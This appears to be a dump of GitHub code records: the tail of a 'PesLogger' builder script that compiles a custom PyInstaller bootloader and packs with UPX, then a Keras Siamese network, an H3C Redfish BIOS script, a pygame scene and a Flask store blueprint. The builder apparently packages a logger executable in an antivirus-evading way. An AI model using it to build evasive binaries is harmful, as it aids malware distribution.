pyinstaller', shell=True)\r\n subprocess.run(\r\n f'cd {__BUILDENV__}/pyinstaller/pyinstaller-5.1/bootloader/ && py -3.10 ./waf all --target-arch=64bit', shell=True)\r\n subprocess.run(\r\n f'cd {__BUILDENV__}/pyinstaller/pyinstaller-5.1/ && py -3.10 setup.py install', shell=True)\r\n\r\n\r\ndef install_upx():\r\n with open(file=f\"{__BUILDENV__}\\\\upx.zip\", mode=\"wb\") as f:\r\n f.write(__UPX__.content)\r\n\r\n shutil.unpack_archive(f\"{__BUILDENV__}\\\\upx.zip\", f\"{__BUILDENV__}\\\\upx\")\r\n os.remove(f\"{__BUILDENV__}\\\\upx.zip\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n", "repo_name": "PesMonkey/PesLogger", "sub_path": "builder.py", "file_name": "builder.py", "file_ext": "py", "file_size_in_byte": 4657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "shutil.copytree", "line_number": 45, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 50, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 52, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 56, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 77, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 78, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 80, "usage_type": "call"}, {"api_name": "shutil.unpack_archive", "line_number": 87, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 90, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 92, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 93, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 95, "usage_type": "call"}, {"api_name": "shutil.unpack_archive", "line_number": 103, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 104, "usage_type": "call"}]} +{"seq_id": "16802317876", "text": "import csv\n\nimport numpy as np\nimport random as rn\n\nfrom scipy.spatial.distance import euclidean as e\n\nimport matplotlib\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\n\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout, Input, Lambda, concatenate, BatchNormalization\nfrom keras.optimizers import RMSprop\nfrom keras import backend as K\nfrom keras import regularizers\nimport keras.optimizers as optimizers\nfrom keras.models import load_model\nfrom keras.callbacks import ModelCheckpoint\n\nfrom diskarray import DiskArray\nfrom basescript import BaseScript\n\nclass SiameseNetwork(BaseScript):\n INPUT_DIM = 300\n\n def run(self):\n self.train_d = DiskArray(self.args.trainf, dtype=self._get_dtype())\n self.test_d = DiskArray(self.args.testf, dtype=self._get_dtype())\n\n model = self.init_model()\n self.compile_model(model)\n self.train_model(model)\n self.test_model(model)\n self.save_model(model)\n\n def _euclidean_dis_loss(self, y_true, y_pred):\n return K.sqrt(K.sum(K.square(y_pred - y_true), axis=1))\n\n def _get_dtype(self):\n d = self.INPUT_DIM\n return [('vec1', np.float32, d), ('vec2', np.float32, d), ('label', np.int)]\n\n def _euclidean_distance(self, vects):\n x, y = vects\n return K.sum(K.square(x - y), axis=1, keepdims=True)\n\n def _mean_squared_layer(self, vects):\n x, y = vects\n\n return K.mean(K.square(x - y), axis=-1)\n\n def _dist_output_shape(self, shapes):\n shape1, shape2 = shapes\n return (shape1[0], 1)\n\n def _contrastive_loss(self, y_true, y_pred):\n margin = 1\n\n return K.mean(\n (y_true * K.square(y_pred)) +\n (1 - y_true) * K.square(K.maximum(margin - y_pred, 0)))\n\n\n def _create_base_network(self):\n a = 'tanh'\n ar = regularizers.L1L2()\n model = Sequential()\n model.add(Dense(self.INPUT_DIM, input_shape=(self.INPUT_DIM, ), activation=a))\n model.add(Dense(600, activation=a))\n model.add(Dense(self.INPUT_DIM, activation=a))\n return model\n\n def init_model(self):\n base_network = self._create_base_network()\n\n input_a = Input(shape=(self.INPUT_DIM,))\n input_b = Input(shape=(self.INPUT_DIM,))\n\n # because we re-use the same instance `base_network`,\n # the weights of the network\n # will be shared across the two branches\n processed_a = base_network(input_a)\n processed_b = base_network(input_b)\n\n distance = Lambda(self._euclidean_distance, output_shape=self._dist_output_shape)([processed_a, processed_b])\n\n model = Model(inputs=[input_a, input_b], outputs=distance)\n\n return model\n\n # train\n def compile_model(self, model):\n model.compile(loss=self._shivam_loss,\n metrics=[self._euclidean_dis_loss],\n optimizer=optimizers.Adam()\n )\n\n def train_model(self, model):\n #checkpoint = [ModelCheckpoint(self.args.model, monitor='val_loss', verbose=1, save_best_only=True, mode='min')]\n history = model.fit([self.train_d['vec1'], self.train_d['vec2']], self.train_d['label'], validation_split=0.20, batch_size=128, epochs=self.args.epochs, shuffle=True)\n\n plt.plot(history.history['loss'], label='training loss on 80% training')\n #plt.plot(history.history['val_loss'], label='validation loss on 20% training')\n plt.legend()\n\n plt.savefig(self.args.loss_graph)\n\n # compute final accuracy on training and test sets\n def test_model(self, model):\n test_loss, ed_loss= model.evaluate([self.test_d['vec1'], self.test_d['vec2']], self.test_d['label'])\n\n print(\"Test Loss = \", test_loss)\n print('Test ed_loss =', ed_loss)\n\n psame = []\n pnsame = []\n\n csv_f = open(self.args.csv, 'w')\n csv_file = csv.writer(csv_f)\n csv_file.writerow(['label', 'prediction'])\n\n for i in range(len(self.test_d['vec1'])):\n vec1 = self.test_d['vec1'][i]\n vec2 = self.test_d['vec2'][i]\n\n r_vec1 = vec1.reshape(1, len(vec1))\n r_vec2 = vec2.reshape(1, len(vec2))\n\n pred_val = model.predict([r_vec1, r_vec2])[0]\n\n label = self.test_d['label'][i]\n\n if label == 0:\n psame.append(pred_val)\n else:\n pnsame.append(pred_val)\n\n csv_file.writerow([label, pred_val])\n\n print('Same Points Mean= ', np.mean(psame), 'Same Points STDEV= ', np.std(psame), 'Same Poinst MIN_DIST= ', np.min(psame), 'Same points MAX_DIST= ', np.max(psame))\n print('Not Same Points Mean= ', np.mean(pnsame), 'Not same Points STDEV= ', np.std(pnsame), 'Not Same Poinst MIN_DIST= ', np.min(pnsame), 'Not Same Points MAX_DIST= ', np.max(pnsame))\n\n dm = (np.std(psame) + np.std(pnsame)) / 2\n nm = abs(np.mean(psame) - np.mean(pnsame))\n\n d = nm / dm\n print(d)\n\n yticks = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\n plt.hist(psame, bins=50, alpha=0.5, label='same points')\n plt.hist(pnsame, bins=50, alpha=0.5, label='not same points')\n plt.legend(loc='upper right')\n plt.yticks(yticks)\n plt.savefig(self.args.image)\n\n def _remove_layers(self, model):\n model.layers.pop(-1)\n\n def save_model(self, model):\n model.save(self.args.model)\n print(model.summary())\n\n def define_args(self, parser):\n parser.add_argument('trainf', help='training file')\n parser.add_argument('testf', help='testing file')\n parser.add_argument('image', help='image name')\n parser.add_argument('csv', help='csv file name')\n parser.add_argument('epochs', help='testing file', type=int)\n parser.add_argument('model', help='model path with name')\n parser.add_argument('loss_graph', help='loss graph during training')\n\nif __name__ == '__main__':\n SiameseNetwork().start()\n", "repo_name": "chatrapathik/Deep-Learning", "sub_path": "nn_scripts/siamese_implementation/siamese/src/nn.py", "file_name": "nn.py", "file_ext": "py", "file_size_in_byte": 6001, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "matplotlib.use", "line_number": 9, "usage_type": "call"}, {"api_name": "basescript.BaseScript", "line_number": 24, "usage_type": "name"}, {"api_name": "diskarray.DiskArray", "line_number": 28, "usage_type": "call"}, {"api_name": "diskarray.DiskArray", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.backend.sqrt", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 38, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.backend.square", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.int", "line_number": 42, "usage_type": "attribute"}, {"api_name": "keras.backend.sum", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 46, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.backend.mean", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 51, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.backend.mean", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 60, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 61, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 61, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 62, "usage_type": "name"}, {"api_name": "keras.backend.maximum", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.regularizers.L1L2", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.regularizers", "line_number": 67, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers.Lambda", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}]} +{"seq_id": "6546467011", "text": "###\r\n# Copyright 2021 New H3C Technologies Co., Ltd.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n###\r\n\r\n# -*- coding: utf-8 -*-\r\n\r\n\r\nimport os\r\nimport json\r\nfrom exception.ToolException import FailException\r\nfrom utils.client import RedfishClient\r\nfrom utils.common import Constant\r\nfrom utils.model import BaseModule\r\nfrom utils.tools import init_args\r\n\r\n\r\nclass GetBios(BaseModule):\r\n\r\n def __init__(self):\r\n\r\n super().__init__()\r\n self.bios = None\r\n self.args_lst = [\"attribute\", \"file_uri\"]\r\n\r\n @property\r\n def dict(self):\r\n\r\n return self.bios\r\n\r\n def run(self, args):\r\n\r\n init_args(args, self.args_lst)\r\n if args.file_uri is not None:\r\n try:\r\n with open(args.file_uri, 'w'):\r\n pass\r\n except IOError as err:\r\n self.err_list.append(str(err))\r\n raise FailException(*self.err_list)\r\n else:\r\n os.remove(args.file_uri)\r\n client = RedfishClient(args)\r\n systems_id = client.get_systems_id()\r\n url = \"/redfish/v1/Systems/%s/Bios\" % systems_id\r\n resp = client.send_request(\"GET\", url)\r\n if (isinstance(resp, dict) and resp.get(\"status_code\", None) ==\r\n Constant.SUCCESS_200):\r\n if args.attribute is not None:\r\n bios_cfg = self.resolve_response(resp, args.attribute)\r\n else:\r\n bios_cfg = self.resolve_response(resp)\r\n if args.file_uri is not None:\r\n try:\r\n with open(args.file_uri, 'w') as file_output:\r\n file_output.write(\r\n json.dumps(\r\n bios_cfg,\r\n indent=4,\r\n separators=(\r\n ',',\r\n ': ')))\r\n except (IOError, Exception) as err:\r\n self.err_list.append(str(err))\r\n raise FailException(*self.err_list)\r\n else:\r\n suc_info = \"Success: get BIOS information successfully\"\r\n self.suc_list.append(suc_info)\r\n self.bios = {}\r\n else:\r\n self.bios = bios_cfg\r\n else:\r\n err = \"Failure: failed to get BIOS information\"\r\n self.err_list.append(err)\r\n raise FailException(*self.err_list)\r\n return self.suc_list\r\n\r\n def resolve_response(self, resp, attr=None):\r\n\r\n detail = dict()\r\n if resp[\"resource\"].get(\"Attributes\", None) is not None:\r\n info = resp[\"resource\"][\"Attributes\"]\r\n if info and isinstance(info, dict):\r\n if attr is None:\r\n for key, value in info.items():\r\n try:\r\n detail[key] = value\r\n except (KeyError, ValueError, Exception):\r\n pass\r\n elif attr in info:\r\n try:\r\n detail[attr] = info.get(attr, None)\r\n except (KeyError, ValueError, Exception):\r\n pass\r\n else:\r\n err_message = (\"Failure: this attribute does not exist: \"\r\n \"%s\" % attr)\r\n self.err_list.append(err_message)\r\n raise FailException(*self.err_list)\r\n else:\r\n err = \"Failure: failed to get BIOS information\"\r\n self.err_list.append(err)\r\n raise FailException(*self.err_list)\r\n return detail\r\n", "repo_name": "H3C/hdm-redfish-script", "sub_path": "model/get_bios.py", "file_name": "get_bios.py", "file_ext": "py", "file_size_in_byte": 4209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "utils.model.BaseModule", "line_number": 29, "usage_type": "name"}, {"api_name": "utils.tools.init_args", "line_number": 44, "usage_type": "call"}, {"api_name": "exception.ToolException.FailException", "line_number": 51, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 53, "usage_type": "call"}, {"api_name": "utils.client.RedfishClient", "line_number": 54, "usage_type": "call"}, {"api_name": "utils.common.Constant.SUCCESS_200", "line_number": 59, "usage_type": "attribute"}, {"api_name": "utils.common.Constant", "line_number": 59, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 68, "usage_type": "call"}, {"api_name": "exception.ToolException.FailException", "line_number": 76, "usage_type": "call"}, {"api_name": "exception.ToolException.FailException", "line_number": 86, "usage_type": "call"}, {"api_name": "exception.ToolException.FailException", "line_number": 110, "usage_type": "call"}, {"api_name": "exception.ToolException.FailException", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "15552888292", "text": "import pygame\n\nfrom pyclick.gfx.abstract_scene import AbstractScene\nfrom pyclick.wrapg.graphics import Graphics\n\n\nclass SimpleScene(AbstractScene):\n __slots__ = 'bg', 'x', 'y', 'details', 'active', 'image', 'width', 'height', 'rect'\n\n def __init__(self, bg, x, y, details=None, active=True):\n self.bg = bg\n self.x = x\n self.y = y\n self.details = details if details is not None else []\n self.active = active\n self.image, (self.width, self.height) = Graphics.load_image(self.bg)\n self.rect = Graphics.create_rect(self.x, self.y, self.width, self.height)\n\n def check_focus(self, mouse_pos: tuple[int, int]):\n if self.active:\n pos_x, pos_y = mouse_pos[0] - self.x, mouse_pos[1] - self.y\n under_mouse = [det for det in self.details if det.is_focused(pos_x, pos_y)]\n if under_mouse:\n return max(under_mouse, key=lambda item: item.topness)\n return None\n\n def check_focus_overlay(self, mouse_pos: tuple[int, int]):\n if self.active and \\\n (self.x < mouse_pos[0] < self.x + self.width) and \\\n (self.y < mouse_pos[1] < self.y + self.height):\n return True\n return False\n\n def move_detail_by(self, detail, delta_pos, mouse_pos):\n det = [det for det in self.details if det is detail]\n if len(det) == 0 or self.check_focus_overlay(mouse_pos) is False:\n return\n det = det[0]\n x, y = mouse_pos[0] - self.x - det.width/2, mouse_pos[1] - self.y - det.height/2\n det.set_pos((x, y))\n if det.y < 0: det.set_pos((det.x, 0))\n if det.x < 0: det.set_pos((0, det.y))\n if det.y > self.height - det.height: det.set_pos((det.x, self.height - det.height))\n if det.x > self.width - det.width: det.set_pos((self.width - det.width, det.y))\n\n def draw_all(self, window: Graphics.Surface):\n if self.active:\n Graphics.draw_on_surface(window, self.image, (self.x, self.y))\n surf = self._prepare_detailed_surface()\n Graphics.draw_on_surface(window, surf, (self.x, self.y))\n\n def _prepare_detailed_surface(self):\n surf = Graphics.Surface(pygame.Surface((self.width, self.height), flags=pygame.SRCALPHA))\n self.details.sort(key=lambda item: item.topness)\n for det in self.details:\n if det.active:\n Graphics.draw_on_surface(surf, det.get_surface(), (det.x, det.y))\n return surf\n", "repo_name": "docppp/Heroidle", "sub_path": "pyclick/gfx/simple_scene.py", "file_name": "simple_scene.py", "file_ext": "py", "file_size_in_byte": 2491, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pyclick.gfx.abstract_scene.AbstractScene", "line_number": 7, "usage_type": "name"}, {"api_name": "pyclick.wrapg.graphics.Graphics.load_image", "line_number": 16, "usage_type": "call"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 16, "usage_type": "name"}, {"api_name": "pyclick.wrapg.graphics.Graphics.create_rect", "line_number": 17, "usage_type": "call"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 17, "usage_type": "name"}, {"api_name": "pyclick.wrapg.graphics.Graphics.Surface", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 46, "usage_type": "name"}, {"api_name": "pyclick.wrapg.graphics.Graphics.draw_on_surface", "line_number": 48, "usage_type": "call"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 48, "usage_type": "name"}, {"api_name": "pyclick.wrapg.graphics.Graphics.draw_on_surface", "line_number": 50, "usage_type": "call"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 50, "usage_type": "name"}, {"api_name": "pyclick.wrapg.graphics.Graphics.Surface", "line_number": 53, "usage_type": "call"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 53, "usage_type": "name"}, {"api_name": "pygame.Surface", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.SRCALPHA", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pyclick.wrapg.graphics.Graphics.draw_on_surface", "line_number": 57, "usage_type": "call"}, {"api_name": "pyclick.wrapg.graphics.Graphics", "line_number": 57, "usage_type": "name"}]} +{"seq_id": "2717007127", "text": "from APP.SQLAPP.addEdit.dataWrite import dealDate\nfrom APP.SQLAPP.addEdit.orderStore import writeStore, writeAdMethodModel, writeNewDisModel\nfrom APP.SQLAPP.search.product import refreshSaleFile\n\nfrom APP.Spyder.KdzsSpyder import KuaiDiZhuShouSpyder\nfrom form.formValidate import KdzsLoginForm, DisForm, newStoreProForm, OrderForm\nfrom flask import Blueprint, request, current_app, render_template, send_file, \\\n jsonify\n\nfrom models.back import PlatModel, CityModel, AdMethodModel\nfrom models.store import StoreModel, DistributionModel\n\nbp = Blueprint(\"store\", __name__, url_prefix=\"/store\")\nkdzs = KuaiDiZhuShouSpyder()\n\n\n@bp.route(\"/manage\")\ndef manage():\n plats = PlatModel.query.all()\n citys = CityModel.query.all()\n stores = StoreModel.query.all()\n adMethods = AdMethodModel.query.all()\n distributions = DistributionModel.query.all()\n return render_template(\"html/back/storeManage.html\", stores=stores, plats=plats, citys=citys, adMethods=adMethods,\n distributions=distributions)\n\n\n@bp.route(\"/loginKdzs\", methods=['POST'])\ndef loginKdzs():\n form_dict = request.form.to_dict()\n form = KdzsLoginForm(form_dict)\n if form.validate():\n result = kdzs.login(account=form_dict.get(\"kdzsAccount\"), password=form_dict.get(\"kdzsPassword\"),\n captcha=form_dict.get(\"kdzsCaptcha\"),vscode=form_dict.get(\"kdzsPhoneCode\"))\n if result.get(\"status\") == \"success\":\n return jsonify({\"status\": \"success\", \"message\": \"登录成功\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": result.get(\"message\")})\n else:\n return jsonify({\"status\": \"failed\", \"message\": form.messages})\n\n\n# 获取图片验证码\n@bp.route(\"/kdzsCaptcha\")\ndef kdzsCaptcha():\n testResult = kdzs.getCaptcha()\n print(testResult)\n return jsonify(testResult)\n\n\n@bp.route(\"/kdzsTest\")\ndef kdzsTest():\n testResult = kdzs.TestCookie()\n return jsonify(testResult)\n\n\n@bp.route(\"/kdzsStore\")\ndef kdzsStore():\n StoreResult = kdzs.gerStoreKDZS()\n if StoreResult['status'] == \"success\":\n store_list = StoreResult['data']\n new_store = writeStore(store_list)\n if len(new_store) > 0:\n return jsonify({\"status\": \"success\", \"message\": \"更新完成\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": \"没有发现新店铺\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": \"获取店铺信息失败\"})\n\n\n@bp.route(\"/getStoreOrder\", methods=['POST'])\ndef getStoreOrder():\n form_dict = request.form.to_dict()\n print(form_dict)\n form = OrderForm(form_dict)\n if form.validate():\n if form_dict.get(\"kdzsDayLength\"):\n startDate, endDate = dealDate(now=True, length=form_dict.get(\"kdzsDayLength\"))\n else:\n startDate, endDate = dealDate(start_date=form_dict.get(\"kdzsStartDate\"),\n end_date=form_dict.get(\"kdzsEndDate\"))\n print(startDate, endDate)\n if startDate < endDate:\n stores = getStore(form_dict.get(\"kdzsStore\"))\n current_app.celery.send_task(\"GetOrders\", (stores, endDate, startDate))\n return jsonify({\"status\": \"success\", \"message\": \"已经开始获取订单信息,请稍后查看..\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": \"开始时间需要小于结束时间..\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": form.messages})\n\n\n@bp.route(\"/getStoreRefund\", methods=['POST'])\ndef getStoreRefund():\n form_dict = request.form.to_dict()\n print(form_dict)\n form = OrderForm(form_dict)\n if form.validate():\n if form_dict.get(\"kdzsDayLength\"):\n startDate, endDate = dealDate(now=True, length=form_dict.get(\"kdzsDayLength\"), zero=True)\n else:\n startDate, endDate = dealDate(start_date=form_dict.get(\"kdzsStartDate\"),\n end_date=form_dict.get(\"kdzsEndDate\"), zero=True)\n if startDate < endDate:\n current_app.celery.send_task(\"GetRefund\", (endDate, startDate))\n return jsonify({\"status\": \"success\", \"message\": \"已经开始获取订单信息,请稍后查看..\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": \"开始时间需要小于结束时间..\"})\n else:\n return jsonify({\"status\": \"failed\", \"message\": form.messages})\n\n\n@bp.route(\"/newDis\", methods=['POST'])\ndef newDis():\n form_dict = request.form.to_dict()\n print(form_dict)\n form = DisForm(form_dict)\n if form.validate():\n return writeNewDisModel(form_dict)\n else:\n return jsonify({\"status\": \"failed\", \"message\": form.messages})\n\n\n@bp.route(\"/newStorePro\", methods=['POST'])\ndef newStorePro():\n form_dict = request.form.to_dict()\n print(form_dict)\n form = newStoreProForm(form_dict)\n if form.validate():\n return writeAdMethodModel(form_dict)\n else:\n return jsonify({\"status\": \"failed\", \"message\": form.messages})\n\n\ndef getStore(store_id):\n if store_id == \"All\":\n stores_info = StoreModel.query.filter().all()\n else:\n stores_info = StoreModel.query.filter(StoreModel.id == store_id).all()\n stores = [{\"platform\": store.plat.EH_name.lower(), \"sellerId\": store.store_id} for store in stores_info if\n store.plat.EH_name]\n stores.append({\"platform\": \"hand\", \"sellerId\": \"1251533\"})\n return stores\n\n\n@bp.route(\"/refreshSale\")\ndef refreshSale():\n save_path = 'static/excel/sale.xlsx'\n refreshSaleFile()\n return send_file(save_path, as_attachment=True)\n", "repo_name": "woaxipython/jingcan", "sub_path": "blueprints/back/store.py", "file_name": "store.py", "file_ext": "py", "file_size_in_byte": 5626, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Blueprint", "line_number": 13, "usage_type": "call"}, {"api_name": "APP.Spyder.KdzsSpyder.KuaiDiZhuShouSpyder", "line_number": 14, "usage_type": "call"}, {"api_name": "models.back.PlatModel.query.all", "line_number": 19, "usage_type": "call"}, {"api_name": "models.back.PlatModel.query", "line_number": 19, "usage_type": "attribute"}, {"api_name": "models.back.PlatModel", "line_number": 19, "usage_type": "name"}, {"api_name": "models.back.CityModel.query.all", "line_number": 20, "usage_type": "call"}, {"api_name": "models.back.CityModel.query", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.back.CityModel", "line_number": 20, "usage_type": "name"}, {"api_name": "models.store.StoreModel.query.all", "line_number": 21, "usage_type": "call"}, {"api_name": "models.store.StoreModel.query", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.store.StoreModel", "line_number": 21, "usage_type": "name"}, {"api_name": "models.back.AdMethodModel.query.all", "line_number": 22, "usage_type": "call"}, {"api_name": "models.back.AdMethodModel.query", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.back.AdMethodModel", "line_number": 22, "usage_type": "name"}, {"api_name": "models.store.DistributionModel.query.all", "line_number": 23, "usage_type": "call"}, {"api_name": "models.store.DistributionModel.query", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.store.DistributionModel", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request.form.to_dict", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "form.formValidate", "line_number": 31, "usage_type": "name"}, {"api_name": "form.formValidate.KdzsLoginForm", "line_number": 31, "usage_type": "call"}, {"api_name": "form.formValidate.validate", "line_number": 32, "usage_type": "call"}, {"api_name": "form.formValidate", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 40, "usage_type": "call"}, {"api_name": "form.formValidate.messages", "line_number": 40, "usage_type": "attribute"}, {"api_name": "form.formValidate", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 54, "usage_type": "call"}, {"api_name": "APP.SQLAPP.addEdit.orderStore.writeStore", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.request.form.to_dict", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "form.formValidate", "line_number": 75, "usage_type": "name"}, {"api_name": "form.formValidate.OrderForm", "line_number": 75, "usage_type": "call"}, {"api_name": "form.formValidate.validate", "line_number": 76, "usage_type": "call"}, {"api_name": "form.formValidate", "line_number": 76, "usage_type": "name"}, {"api_name": "APP.SQLAPP.addEdit.dataWrite.dealDate", "line_number": 78, "usage_type": "call"}, {"api_name": "APP.SQLAPP.addEdit.dataWrite.dealDate", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.current_app.celery.send_task", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.current_app.celery", "line_number": 85, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 90, "usage_type": "call"}, {"api_name": "form.formValidate.messages", "line_number": 90, "usage_type": "attribute"}, {"api_name": "form.formValidate", "line_number": 90, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 95, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 95, "usage_type": "name"}, {"api_name": 